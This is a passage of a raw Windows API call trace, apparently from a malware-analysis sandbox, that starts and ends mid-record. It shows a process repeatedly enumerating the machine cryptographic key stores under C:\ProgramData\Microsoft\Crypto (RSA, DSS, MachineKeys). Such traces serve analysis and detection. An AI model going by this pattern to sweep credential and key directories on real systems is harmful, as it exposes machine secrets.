ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.264] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0095.264] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe97d8 [0095.264] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.264] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.264] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.264] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.264] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys", lpFilePart=0x0) returned 0x2f [0095.265] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe97d8 [0095.265] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.265] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.265] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.265] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.265] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\DSS", lpFilePart=0x0) returned 0x23 [0095.265] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.265] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.265] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.265] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.265] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.265] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.266] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0095.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.266] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys" (normalized: "c:\\programdata\\microsoft\\crypto\\keys"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.266] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0095.266] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.266] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.266] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.266] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.266] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.266] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.266] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\Keys", lpFilePart=0x0) returned 0x24 [0095.266] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.266] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.266] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.267] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.267] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe61c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0095.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.267] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa"), fInfoLevelId=0x0, lpFileInformation=0x6cfeadc | out: lpFileInformation=0x6cfeadc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xab91baa0, ftLastAccessTime.dwHighDateTime=0x1d2e634, ftLastWriteTime.dwLowDateTime=0xab91baa0, ftLastWriteTime.dwHighDateTime=0x1d2e634, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.267] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.267] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA", nBufferLength=0x105, lpBuffer=0x6cfe604, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA", lpFilePart=0x0) returned 0x23 [0095.267] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\*", lpFindFileData=0x6cfe814 | out: lpFindFileData=0x6cfe814) returned 0x6fe97d8 [0095.267] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.267] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.267] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.267] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.267] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.267] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.268] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0095.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.268] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\machinekeys"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd96989e, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.268] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0095.268] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe97d8 [0095.268] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.268] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.268] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.268] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.268] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.268] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", nBufferLength=0x105, lpBuffer=0x6cfe590, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys", lpFilePart=0x0) returned 0x2f [0095.268] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\MachineKeys\\*", lpFindFileData=0x6cfe7a0 | out: lpFindFileData=0x6cfe7a0) returned 0x6fe97d8 [0095.268] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.268] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.269] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.269] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", nBufferLength=0x105, lpBuffer=0x6cfe5a8, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18", lpFilePart=0x0) returned 0x2c [0095.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.269] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18"), fInfoLevelId=0x0, lpFileInformation=0x6cfea68 | out: lpFileInformation=0x6cfea68*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xab91baa0, ftCreationTime.dwHighDateTime=0x1d2e634, ftLastAccessTime.dwLowDateTime=0xaba72700, ftLastAccessTime.dwHighDateTime=0x1d2e634, ftLastWriteTime.dwLowDateTime=0xaba72700, ftLastWriteTime.dwHighDateTime=0x1d2e634, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0095.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.269] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.269] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea3c) returned 1 [0095.270] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.270] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.270] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.270] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.270] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.270] FindClose (in: hFindFile=0x6fe97d8 | out: hFindFile=0x6fe97d8) returned 1 [0095.270] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.271] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.271] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.271] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.271] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.271] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfead4) returned 1 [0095.271] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfead0) returned 1 [0095.271] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeb60) returned 1 [0095.271] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.271] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.271] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 1 [0095.272] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe898 | out: lpFindFileData=0x6cfe898) returned 0 [0095.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb20) returned 1 [0095.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeb2c) returned 1 [0095.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.272] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.272] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.272] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.272] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.273] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.273] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.273] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.273] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.273] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.273] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.273] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.273] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.273] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.274] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.274] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.274] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.274] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.274] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.274] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.274] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.275] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.275] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.275] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.275] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.275] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.275] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.275] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.275] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.275] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.275] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea60) returned 1 [0095.276] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea5c) returned 1 [0095.276] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfeaec) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 1 [0095.276] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe824 | out: lpFindFileData=0x6cfe824) returned 0 [0095.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeaac) returned 1 [0095.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfeab8) returned 1 [0095.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe9ec) returned 1 [0095.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9e8) returned 1 [0095.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea78) returned 1 [0095.277] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.277] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.277] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.277] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.277] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.277] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.277] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.277] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.278] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.278] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.278] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 1 [0095.278] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe7b0 | out: lpFindFileData=0x6cfe7b0) returned 0 [0095.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea38) returned 1 [0095.278] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfea44) returned 1 [0095.278] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfe978) returned 1 [0095.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe974) returned 1 [0095.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 0 [0095.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9c4) returned 1 [0095.279] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6cfe9d0) returned 1 [0095.279] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6cfea04) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: lpFindFileData=0x6cfe73c) returned 1 [0095.279] FindNextFileW (in: hFindFile=0x6fe97d8, lpFindFileData=0x6cfe73c | out: 